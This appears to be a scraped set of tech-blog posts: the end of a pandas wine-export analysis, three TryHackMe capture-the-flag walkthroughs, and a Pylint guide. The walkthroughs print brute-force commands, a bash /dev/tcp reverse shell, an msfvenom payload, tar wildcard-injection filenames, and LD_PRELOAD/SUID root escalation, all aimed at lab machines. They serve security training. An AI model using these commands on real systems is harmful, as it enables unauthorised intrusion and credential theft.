My main conclusion from this is that if you have a winery in Europe, the best place to sell your wine is in the UK and Germany, and otherwise, in the US.

Step 4: Competitor Analysis

And now, let’s look at the competitors:

Where is the cheapest wine from, and what country exports lot of cheap wine?

Since we have no data on this, I did a little feature engineering to find out which countries export wine at the lowest price per litre. Feature engineering

when we create a feature (a new column) to add useful information from existing data to your dataset.

wine['export_per_liter'] = wine['Value of wine exports (US$ mill)'] / wine['Wine export vol. (ML)'] top_10_cheapest = wine.nsmallest(10, 'export_per_liter')
print(top_10_cheapest)

Plot the findings:

top_10_cheapest.plot(x = 'Country', y = ['Value of wine exports (US$ mill)', 'Wine export vol. (ML)'], kind = 'bar', figsize = (8, 6))
plt.legend(loc = 'upper left', title = 'Cheapest wine exporters')

It is clear that Spain is by far the biggest exporter of cheap wine, followed by South Africa, but in much smaller quantities.

Conclusion

If you want to gain insight into large data sets, visualization is king and you don’t need fancy, complicated graphs to see the relationships behind the data clearly.

Understanding the tools is vital — without DataFrames, we wouldn’t have been able to pull off this analysis quickly and efficiently:

šŸ‘‰ Recommended Tutorial: Pandas in 10 Minutes

Posted on Leave a comment

How I used Enum4linux to Gain a Foothold Into the Target Machine (TryHackMe)

5/5 – (1 vote)

šŸ’” Enum4linux is a software utility designed to extract information from both Windows and Samba systems. Its primary objective is to provide comparable functionality to the now-defunct enum.exe tool, which was previously accessible at www.bindview.com. Enum4linux is coded in PERL and essentially functions as an interface for the Samba toolset, including smbclient, rpclient, net, and nmblookup.

CHALLENGE OVERVIEW

  • CTF Creator: John Hammond
  • Link: Basic Pentesting
  • Difficulty: Easy 
  • Target: user flag and final flag
  • Highlight: extracting credentials from an SMB server with SMBmap
  • Tools used: nmap, dirb, enum4linux, john, hydra, linpeas, ssh
  • Tags: security, boot2root, cracking, webapp

BACKGROUND

This is a pretty standard type of CTF challenge that involves some recon, gaining an initial foothold, lateral privilege escalation, and discovery of the flags.

It was a great way to review how to use the standard pentesting tools (i.e., nmap, dirb, smbmap, john, hydra).

If you are just starting with CTF challenges, you may find some of the tools and concepts to be a bit more technical. Please check out the video walkthrough if anything is unclear in this write-up!Ā 

ENUMERATION/RECON

IP ADRESSES

export targetIP=10.10.192.10
export myIP=10.6.2.23

ENUMERATION

NMAP SCAN

nmap -A -p- -T4 -oX nmap.txt $targetIP
  • -A Enable OS detection, version detection, script scanning, and traceroute
  • -p- scan all ports
  • -T4 speed 4 (1-5 with 5 being the fastest)
  • -oX output as an XML-type file

DIRB SCAN

dirb http://$targetIP -o dirb.txt
  • -o output as <filename>

WALK THE WEBSITE

Check our dev note section if you need to know what to work on. (I found a hint in sourcecode)

http://10.10.192.10/development/

Reading through these two documents, we learn the following interesting things:

  • User ā€œJā€ has a weak password hash in /etc/shadow that can be cracked easily!
  • We may be able to find an exploit for REST version 2.5.12Ā 

Searching through exploit-db we find two possibilities:

  1. https://www.exploit-db.com/exploits/45068
  2. https://www.exploit-db.com/exploits/42627 (this one is probably it!)

I tried out this python exploit, but didn’t have any luck. Let’s move forward for now and enumerate the SMB server.

ENUMERATING SMBĀ Ā Ā Ā 

smbmap -a $targetIP

We see a listing for an anonymous login in our results. However, we aren’t able to log in as anonymous.

USING ENUM4LINUX TO EXTRACT SSH LOGIN CREDENTIALS

enum4linux -a 10.10.192.10

-aĀ  Do all simple enumeration (-U -S -G -P -r -o -n -i)

found users: kay and jan

My guess is that our first user credential with the easy hash will be for user jan because the hidden file j.txt in the /development folder was written to ā€œJā€.

USING HYDRA TO BRUTEFORCE A PASSWORD FOR JAN/KAY

hydra -l jan -t 4 -P /home/kalisurfer/hacking-tools/rockyou.txt ssh://10.10.192.10
hydra -l kay -P /home/kalisurfer/hacking-tools/rockyou.txt ssh://10.10.192.10 discovered password for jan: armando

LOCAL RECON – LOG IN AS JAN VIA SSH

We’ll automate our local recon with linpeas.sh

To get the script on our target system, we spin up a simple python3 HTTP server on our attack box and use wget to copy it to the /tmp directory of our target system.

After running linpeas.sh we review our results and found a hidden ssh key for user kay. Our next step is to prep and crack the hash to discover the hash password needed for logging in as user kay.

LATERAL PRIVILEGE ESCALATION TO USER KAY

First we’ll use ssh2john to prep the hash to use with John the RIpper.Ā 

Next, we’ll crack the password for the hash with john. 

Now that we’ve brute-forced the password with hashes of the wordlist rockyou.txt, we can go ahead and switch users to kay with the password beeswax.

POST-EXPLOITATION

Locate pass.bak file

Cat to find ā€œfinal passwordā€

FINAL THOUGHTS

This box showed the power of enum4linux for enumerating Linux machines. We were able to extract two usernames that helped us to brute force our way into the server and gain our initial foothold.

Linpeas also can do similar things, but the big difference between the two is that Linpeas is for local enumeration, and enum4linux is for initial enumeration before gaining a foothold.Ā 

šŸ‘‰ Recommended: Web Hacking 101: Solving the TryHackMe Pickle Rick ā€œCapture The Flagā€ Challenge

Posted on Leave a comment

TryHackMe – How I Used WPScan to Extract Login Credentials (WordPress)

5/5 – (1 vote)

CHALLENGE OVERVIEW

YouTube Video

BACKGROUND

This CTF challenge is another blackbox-style pentest where we don’t know anything about our target other than the IP address.

We will have to discover ports and services running on the server with our standard pentesting tools like nmap and dirb scan. We also don’t have any inside information about the backend of the target machine.

Let’s get started!

We’ll be testing out the website pentest.ws during today’s video walkthrough.

It is a site designed for pentesters to keep track of their enumeration and credentials. The paid version also helps pentesters create professional VAPT reports (vulnerability assessment and penetration testing reports).

At the end of this post, I will summarize my thoughts on using pentest.ws for the first time.

ENUMERATION/RECON

sudo nmap -A -oX nmap.txt $targetIP -p-

Today we are exporting our nmap results in XML format so that we can upload them to pentest.ws and have the site automatically parse our findings.

dirb http://$targetIP -o dirb.txt

We discovered a WordPress login at: http://internal.thm/blog/wp-login.php

USING WPSCAN TO EXTRACT WORDPRESS LOGIN CREDENTIALS

Let’s use wpscan to discover the admin’s email and password for WordPress.

wpscan --url 10.10.61.252/blog -e vpn,u -o wpscan.txt

Now that we found a username, we can run wpscan again with a wordlist to brute-force the password.

wpscan --url 10.10.61.262/blog --usernames admin --passwords /home/kalisurfer/hacking-tools/rockyou.txt --max-threads 50 -o wpscan-passwds.txt

We found the admin email and password!

admin:my2boys

Now we can log into WordPress and look for a place to upload a revshell.

INITIAL FOOTHOLD – SPAWN A REVSHELL BY EDITING 404.PHP

We’ll edit the template for 404.php and drop in a revshell created quickly and easily with EzpzShell.py.

If you want to learn more about ezpzshell, check out my previous blog post:

šŸ‘‰ Learn More: EzpzShell: An Easy-Peasy Python Script That Simplifies Revshell Creation

ezpz 10.6.2.23 8888 php (ezpzshell also automatically starts a listener)

After copying the payload to 404.php, we make sure it is saved and then trigger the payload:

http://internal.thm/wordpress/wp-content/themes/twentyseventeen/404.php

And if everything is set up correctly, we will catch the revshell with ezpz as user: www-data.

STABILIZE THE SHELL

The following command will stabilize the shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'

INTERNAL ENUMERATION – FIND USER CREDS

We discover a txt file with credentials:

cat wp-save.txt Bill,
Aubreanna needed these credentials for something later. Let her know you have them and where they are.
aubreanna:bubb13guM!@#123

Let’s try switching users to aubreanna with the password given in wp-save.txt.

su aubreanna

We are in as user aubreanna and immediately find the user flag.

aubreanna@internal:~$ cat us cat user.txt THM{i—------omitted--------1}

MORE ENUMERATION – DISCOVER A JENKINS SERVICE

cat jenkins.txt Internal Jenkins service is running on 172.17.0.2:8080

SET UP PORT FORWARDING VIA SSH LOGIN

ssh -L 8080:172.17.0.2:8080 aubreanna@10.10.61.252

SUCCESS! WE’VE CONNECTED UP TO JENKINS VIA SSH PORT FORWARDING! We can now open the Jenkins login page in our browser.

BRUTE-FORCE THE LOGIN

hydra -l admin -P /home/kalisurfer/hacking-tools/SecLists/Passwords/Leaked-Databases/rockyou-75.txt -s 8080 127.0.0.1 http-post-form '/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in&login=:Invalid username or password'

The payload on this command has three parts:

  1. http-post-form + header
  2. the request, edited with admin as the username and ^PASS^ in place of the password to mark it as the variable for the password wordlist
  3. the error message that the website will return with a wrong passwordĀ 

Output:

Using burpsuite or developer mode on firefox will allow us to extract these strings and modify it to our final hydra payload.
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
\
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-06 08:57:08
[DATA] max 16 tasks per 1 server, overall 16 tasks, 59185 login tries (l:1/p:59185), ~3700 tries per task
[DATA] attacking http-post-form://127.0.0.1:8080/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in&login=:Invalid username or password
[STATUS] 396.00 tries/min, 396 tries in 00:01h, 58789 to do in 02:29h, 16 active
[8080][http-post-form] host: 127.0.0.1 login: admin password: spongebob
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-02-06 08:58:10

Credentials found! admin:spongebob

ENUMERATING JENKINS AS ADMIN

We’ll use the script console on Jenkins to spawn another revshell using groovy scripting language.

We’ll use ezpzshell and choose the Java code, because groovy is built on Java. This time when we catch it, we will be user jenkins.

Manually enumerating through the file system we stumble across a note.txt. Let’s check out the contents:

cat note.txt

Output:

Aubreanna, Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here. Use them if you need access to the root user account. root:tr0ub13guM!@#123

Bingo! We found root user credentials! 

SWITCH USERS TO ROOT

su root
root@internal:~# cat root.txt
THM{d—-omitted—3r}

FINAL THOUGHTS

I’m not convinced yet that pentest.ws will save me much time on my note taking. Maybe with time and experience it would help.

I think the report features that are available for paying subscribers might be just helpful enough to keep me using their platform.

However, I have concerns about security of their platform, as findings from pentesting can be sensitive and generally include login credentials and other passwords.

Overall, I enjoyed the challenge of this box, especially the part where we set up port forwarding via SSH login to expose the Jenkins login portal to our attack machine.

šŸ‘‰ Recommended: EzpzShell: An Easy-Peasy Python Script That Simplifies Revshell Creation

Posted on Leave a comment

TryHackMe Linux PrivEsc – Magical Linux Privilege Escalation (1/2)

5/5 – (1 vote)

CHALLENGE OVERVIEW

YouTube Video
  • CTF Creator: Tib3rius
  • Link: https://tryhackme.com/room/linuxprivesc
  • Difficulty: medium 
  • Target: gaining root access using a variety of different techniques
  • Highlight: Quickly gaining root access on a Linux computer in many different ways
  • Tags: privesc, linux, privilege escalation

BACKGROUND

Using different exploits to compromise operating systems can feel like magic (when they work!).

In this walkthrough, you will see various ā€œmagicalā€ ways that Linux systems can be rooted. These methods rely on the Linux system having misconfigurations that allow various read/write/execute permissions on files that should be better protected. In this post, we will cover tasks 1-10.

TASK 1 Deploy the Vulnerable Debian VM

After connecting to our TryHackMe VPN, let’s start our notes.txt file and write down our IPs in an export fashion.

export targetIP=10.10.63.231
export myIP=10.6.2.23

Now we can go ahead and log in via SSH using the starting credentials given in the instructions:

ssh user@10.10.63.231
id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)

Now that we are in via SSH, let’s start exploiting this machine!

TASK 2 Service Exploits

In this task, we will privesc by exploiting MySQL using https://www.exploit-db.com/exploits/1518

We’ll create a new file named rootbash that spawns a root shell. This box has the exploit preloaded, so all we have to do is cut and paste the commands from this section to try out the privesc.

Task 3: Weak File Permissions – Readable /etc/shadow

In this task, we will read /etc/shadow and crack the hash with John the Ripper.

First, we need to save the root entry from /etc/shadow file as hash.txt.

Next, let’s load up John and crack the hash with rockyou.txt as our wordlist

john --wordlist=</PATH/TO/>rockyou.txt hash.txt

We have found our root password, password123!

TASK 4: Weak File Permissions – Writeable /etc/shadow

In this task, we will change the root password in /etc/shadow file.

mkpasswd -m sha-512 newpasswordhere
$6$pz5mE.wYesKIYGN$jyRHWFXauy1tWmXLWABRKFjUplUH4u7w2YvxEysk5OPcS.HcgBoQkYt66gkkuMB6EKK8WUh1CY.BAO2mdOdPb.
user@debian:~/tools/mysql-udf$ nano /etc/shadow
user@debian:~/tools/mysql-udf$ su root
Password: root@debian:/home/user/tools/mysql-udf#

TASK 5 Weak File Permissions – Writeable /etc/passwd

In this task, we will change the root passwd in /etc/passwd. First we need to generate a new hashed password:Ā 

openssl passwd newpasswordhere

TASK 6 Sudo – Shell Escape Sequences

Let’s check our sudo privileges:

sudo -l

We can choose any of the many bin files that we have sudo permissions on, except for the apache2 bin that doesn’t have a sudo exploit listed on GTFObins

Today we’ll choose to run the exploit utilizing the more bin file.

šŸ‘‰ Link: https://gtfobins.github.io/gtfobins/more/

Running the following two commands gives us a root shell:

TERM= sudo more /etc/profile
!/bin/sh

TASK 7 Sudo – Environment Variables

Method 1: preload file spoofing

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
sudo LD_PRELOAD=/tmp/preload.so more

Method 2: shared object spoofing

ldd /usr/sbin/apache2
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp apache2

TASK 8 Cron Jobs – File Permissions

In this task, we will root the Linux box by changing the file overwrite.sh that is scheduled to run automatically every minute on cron jobs.

Because we have to write file permissions on the file, we can change the contents to spawn a revshell that we can catch on a listener. The file is owned by root, so it will spawn a root shell.

Overwrite the file with the following:

#!/bin/bash
bash -i >& /dev/tcp/10.6.2.23/8888 0>&1

Now, all we need to do is start a netcat listener and wait for a maximum of 1 minute to catch the revshell.

nc -lnvp 8888

TASK 9 Cron Jobs – PATH Environment Variable

In this task, we will hijack the PATH environment variable by creating an overwrite.sh file in /home/user directory.

user@debian:~$ cat overwrite.sh #!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash

This bash script will copy /bin/bash (the shell) to the tmp directory, then add execute privileges and an suid bit. After the overwrite.sh file runs, we can manually activate the root shell by running the new file ā€œrootbashā€ with persistence mode.

user@debian:~$ /tmp/rootbash -p
rootbash-4.1# id uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
rootbash-4.1# exit

TASK 10 Cron Jobs – Wildcards

In this exploit, we will use strange filenames to trick the system into thinking they are checkpoint flags on the tarball command which issue a command to run the elf shell to give us a root shell on our netcat listener.Ā 

First, let’s create a new payload for a revshell

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.6.2.23 LPORT=8888 -f elf -o shell.elf

Next, we’ll transfer the elf file to /home/usr on the target via a simple HTTP server. Finally, we need to create two empty files with the following names:

touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf

Finally, we’ll need to start up a netcat listener to catch the root shell.

nc -lnvp 8888

POST-EXPLOITATION

Let’s remove the shell and the other two spoofed empty command extension files.

rm /home/user/shell.elf
rm /home/user/--checkpoint=1
rm /home/user/--checkpoint-action=exec=shell.elf

FINAL THOUGHTS

Magic isn’t actually needed to carry out any of the privesc methods outlined in this post.

As long as the target machine has a misconfiguration on password files (/etc/shadow and/or /etc/passwd), cron jobs are set to run files that we can modify or spoof, or a PATH variable that we can hijack with a spoof file, we can easily escalate privileges to the root user.

Thanks for reading this write-up, and be sure to check out part II for more ā€œmagicalā€ privesc methods.

Posted on Leave a comment

Stop Writing Messy Code! A Helpful Guide to Pylint

4/5 – (1 vote)

As a Python developer, you know how important it is to write high-quality, error-free code. But let’s face it – sometimes it’s hard to catch every little mistake, especially when working on large projects or collaborating with a team.

That’s where Pylint comes in.

Yes, that’s the original Pylint logo šŸ˜†

Pylint is like a trusty sidekick for your code, helping you spot errors, enforce good coding habits, and keep your code consistent and clean. It’s like having a second set of eyes to catch the little things that you might have missed.

But Pylint isn’t just for the big leagues – it’s a tool that can benefit developers of all levels.

In this article, we’ll dive into Pylint and cover everything you need to know to get started – from installation and configuration, to using Pylint in your favorite code editor, to tackling common errors and warnings that Pylint can help you catch.

So whether you’re a seasoned pro or a Python newbie, let’s dive in and see what Pylint can do for your code!

Installing and Configuring Pylint

Installing Pylint is a straightforward process, and there are several ways to do it.

One of the most popular methods is to use pip, Python’s package manager. To install Pylint using pip, simply open your command prompt or terminal and type:

pip install pylint

If you’re using a different package manager, you can consult their documentation for specific installation instructions.

Once you have Pylint installed, it’s important to configure it to match your project’s needs. Pylint has many configuration options that can be customized to fit your preferences and coding style. For example, you might want to change the maximum line length or enable/disable specific checks based on your project’s requirements.

To configure Pylint, you can create a configuration file in your project’s root directory. The default configuration file name is .pylintrc, but you can also specify a different file name or path if needed. The configuration file is written in INI format, and it contains various sections and options that control Pylint’s behavior.

Here’s an example of a basic .pylintrc file:

[MASTER]
max-line-length = 120 [MESSAGES CONTROL]
disable = missing-docstring, invalid-name

This file sets the maximum line length to 120 characters and disables two specific checks related to missing docstrings and invalid variable names. You can customize the file to match your project’s requirements and coding style.

Keep in mind that Pylint also provides many command-line options that can override or supplement the configuration file settings. You can run pylint --help to see a list of available options.

With these steps, you should be able to install and configure Pylint to help you keep your code in top shape. In the next section, we’ll explore how to use Pylint within popular code editors like VSCode and PyCharm.

Pylint in Code Editors

When it comes to writing code, most developers prefer to use a code editor that can provide real-time feedback and make the coding process easier. Fortunately, Pylint can be integrated with many popular code editors, making it easier to use and providing real-time feedback.

Let’s take a look at how to set up Pylint in two of the most popular code editors, VSCode and PyCharm.

šŸ‘‰ Recommended: Best IDE and Code Editors

Setting up Pylint in VSCode

  1. Open VSCode and install the Python extension if you haven’t already.
  2. Open a Python project in VSCode.
  3. Press Ctrl + Shift + P to open the Command Palette and type “Python: Select Linter”. Choose “Pylint” from the list.
  4. You may be prompted to install Pylint if you haven’t already. If prompted, select “Install”.
  5. You should now see Pylint output in the VSCode “Problems” panel. Pylint will automatically check your code as you type, and will show any errors or warnings in real-time.

Setting up Pylint in PyCharm

  1. Open your Python project in PyCharm.
  2. Go to Preferences > Tools > External Tools.
  3. Click the + button to add a new external tool. Fill in the fields as follows:
    • Name: Pylint
    • Program: pylint
    • Arguments: –output-format=parseable $FileDir$/$FileName$
    • Working directory: $ProjectFileDir$
  4. Click OK to save the new external tool.
  5. Go to Preferences > Editor > Inspections.
  6. Scroll down to the “Python” section and make sure that “Pylint” is checked.
  7. Click OK to save your settings.
  8. You should now see Pylint output in the PyCharm “Inspection Results” panel. Pylint will check your code as you type or run your project, and will show any errors or warnings in real-time.

By using Pylint in your code editor, you can quickly spot and fix issues in your code, making it easier to maintain high code quality. With Pylint checking your code in real-time, you can focus on writing great code without worrying about common mistakes. In the next section, we’ll compare Pylint with another popular Python linter, Flake8.

Pylint vs. Flake8

While Pylint is a powerful tool for analyzing Python code, it’s not the only linter out there. Another popular linter is Flake8, which, like Pylint, can help you identify errors, enforce coding standards, and keep your code consistent.

But what are the differences between these two tools, and which one should you use?

Comparing Pylint and Flake8

Pylint and Flake8 have several similarities, but they also have some key differences. Here are some of the most important differences to consider:

  • Scope: Pylint is a more comprehensive tool that can check for a wide range of issues, including potential bugs, coding style, and design patterns. Flake8, on the other hand, focuses primarily on coding style issues and is more lightweight.
  • Configuration: Pylint has many configuration options that can be customized to fit your coding style and preferences. Flake8, on the other hand, has fewer configuration options but is generally easier to set up and use out of the box.
  • Performance: Pylint can be slower than Flake8, especially on large projects. This is because Pylint analyzes code more thoroughly and performs more complex checks than Flake8.
  • Output: Pylint provides more detailed output than Flake8, including error codes, severity levels, and more. Flake8, on the other hand, provides simpler, more straightforward output.

Which One Should You Use?

šŸ‘‰ Decision Framework: If you’re working on a large project and want a more comprehensive analysis of your code, Pylint might be the better choice. If you’re looking for a simpler, more lightweight tool that focuses on coding style issues, Flake8 might be a better fit.

In many cases, you can use both Pylint and Flake8 together to get the best of both worlds.

For example, you can use Pylint to perform a comprehensive analysis of your code and use Flake8 to focus on coding style issues. You can also use both tools in your code editor to get real-time feedback as you type.

In the next section, we’ll dive into some common errors and warnings that Pylint can help you catch in your code.

Common Pylint Errors and Warnings

As you use Pylint to analyze your Python code, you may encounter various errors and warnings that highlight potential issues or inconsistencies in your code. In this section, we’ll address some of the most common issues that Pylint may raise, and provide guidance on how to fix them and improve your code quality.

“Line too long” error

One of the most common errors that Pylint may raise is the “line too long” error, which occurs when a line of code exceeds the maximum line length specified in your Pylint configuration. By default, this limit is 80 characters, but you can change it to fit your preferences.

To fix this issue, you can break the line into multiple lines using line continuation characters, such as \ or ().

Here’s an example:

# Before
some_very_long_function_name(arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9, arg10) # After
some_very_long_function_name( arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9, arg10
)

“Too many branches” and “too many statements” warnings

Another set of common warnings that Pylint may raise are the “too many branches” and “too many statements” warnings. These warnings are raised when a function or method has too many conditional branches or too many statements, respectively. They’re a sign that your code might be too complex and difficult to maintain.

To address these warnings, you can refactor your code to make it more modular and easier to understand.

For example, you can break down a long function into smaller functions, or use a switch statement instead of multiple if/else statements.

Here’s an example:

# Before
def complex_function(): if condition1: # do something elif condition2: # do something else elif condition3: # do something even different else: # do something completely different # After
def simpler_function(): if condition1: do_something() elif condition2: do_something_else() elif condition3: do_something_different() else: do_something_completely_different() def do_something(): # do something def do_something_else(): # do something else def do_something_different(): # do something even different def do_something_completely_different(): # do something completely different

By breaking down complex code into smaller, more manageable pieces, you can make your code easier to understand and maintain.

By addressing these common errors and warnings that Pylint may raise, you can improve the quality and readability of your code, making it easier to maintain and scale.

In the next section, we’ll wrap up the article and summarize the benefits of using Pylint in your Python projects.

Conclusion

In this article, we’ve explored Pylint, a powerful tool for analyzing Python code and improving code quality.

  • We started by discussing how to install and configure Pylint, highlighting the importance of customizing Pylint to match your project’s needs.
  • We then dove into how to use Pylint in popular code editors like VSCode and PyCharm, providing step-by-step instructions for setup and highlighting the benefits of using Pylint for real-time feedback.
  • Next, we compared Pylint with another popular linter, Flake8, and discussed the strengths and weaknesses of each tool.
  • Finally, we addressed some common errors and warnings that Pylint may raise, providing guidance and code examples on how to fix these issues and improve your code quality.

Pylint is a valuable tool that can help you maintain high code quality and avoid common mistakes. By using Pylint to analyze your code, you can catch errors and warnings before they become bigger issues, making it easier to maintain and scale your projects. With real-time feedback and customizable settings, Pylint is a great asset for developers of all levels and experience.

Whether you’re a seasoned Python developer or just starting out, we hope this article has provided you with valuable insights and practical tips on how to use Pylint effectively.

šŸ‘‰ Recommended: 7 Tips to Clean Code